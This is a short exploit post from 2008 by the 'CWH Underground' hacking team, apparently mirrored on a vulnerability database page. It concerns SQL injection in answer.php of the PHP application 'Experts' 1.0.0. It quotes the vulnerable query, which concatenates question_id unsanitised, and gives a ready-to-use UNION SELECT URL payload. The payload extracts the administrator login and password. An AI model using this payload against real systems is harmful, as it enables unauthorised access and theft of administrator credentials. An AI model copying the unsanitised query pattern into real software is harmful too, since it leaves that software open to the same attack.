Experts (answer.php) Remote SQL Injection Vulnerability

🗓️ 11 Jun 2008 00:00:00Reported by RootType
Experts (answer.php) Remote SQL Injection Vulnerability details and exploi

                                                =========================================================
&nbsp;Experts&nbsp;(answer.php)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability
=========================================================

&nbsp;&nbsp;,--^----------,--------,-----,-------^--,
&nbsp;&nbsp;|&nbsp;|||||||||&nbsp;&nbsp;&nbsp;`--------'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O	..&nbsp;CWH&nbsp;Underground&nbsp;Hacking&nbsp;Team&nbsp;..
&nbsp;&nbsp;`+---------------------------^----------|
&nbsp;&nbsp;&nbsp;&nbsp;`\_,-------,&nbsp;_________________________|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/`|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;`\&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/\______(
&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/
&nbsp;(________(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;`------'

AUTHOR&nbsp;:&nbsp;CWH&nbsp;Underground
DATE&nbsp;&nbsp;&nbsp;:&nbsp;10&nbsp;June&nbsp;2008
SITE&nbsp;&nbsp;&nbsp;:&nbsp;www.citec.us


#####################################################
&nbsp;APPLICATION&nbsp;:&nbsp;Experts
&nbsp;VERSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;1.0.0
&nbsp;DOWNLOAD&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://downloads.sourceforge.net/experts
#####################################################

---SQL&nbsp;Injection&nbsp;Exploit---

***magic_quotes_gpc&nbsp;=&nbsp;off***

##################################################################################
Line:
&nbsp;&nbsp;&nbsp;67:	$con=&nbsp;&quot;SELECT&nbsp;question_text,&nbsp;question_expert,&nbsp;question_category,&nbsp;question_closed,&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;68:	TIME_TO_SEC(TIMEDIFF(NOW(),question_date))&nbsp;AS&nbsp;seconds_ago,&nbsp;
&nbsp;&nbsp;&nbsp;69:	user_login,&nbsp;user_id,&nbsp;category_name,&nbsp;expert_login&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;70:	FROM&nbsp;question&nbsp;
&nbsp;&nbsp;&nbsp;71:	INNER&nbsp;JOIN&nbsp;(user,category,&nbsp;expert)&nbsp;
&nbsp;&nbsp;&nbsp;72:	ON&nbsp;(question_user=user_id&nbsp;
&nbsp;&nbsp;&nbsp;73:	AND&nbsp;question_category=category_id&nbsp;AND&nbsp;question_expert=expert_id&nbsp;)&nbsp;
&nbsp;&nbsp;&nbsp;74:	WHERE&nbsp;question_id=&quot;.$question_id;
&nbsp;&nbsp;&nbsp;75:	//echo&nbsp;$con.&quot;&lt;br&gt;&quot;;
&nbsp;&nbsp;&nbsp;76:	$fai_con=mysql_query($con)&nbsp;or&nbsp;die(mysql_error());
##################################################################################

EXPLOIT:

http://[Target]/[experts_path]/answer.php?question_id=41&nbsp;AND&nbsp;1=2&nbsp;UNION&nbsp;SELECT&nbsp;concat(administrator_login,0x3a,administrator_password),2,3,4,5,6,7,8,9&nbsp;FROM&nbsp;administrator


##################################################################
#&nbsp;Greetz:&nbsp;ZeQ3uL,&nbsp;BAD&nbsp;$ectors,&nbsp;Snapter,&nbsp;Conan,&nbsp;JabAv0C,&nbsp;Win7dos&nbsp;&nbsp;#
##################################################################
11 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1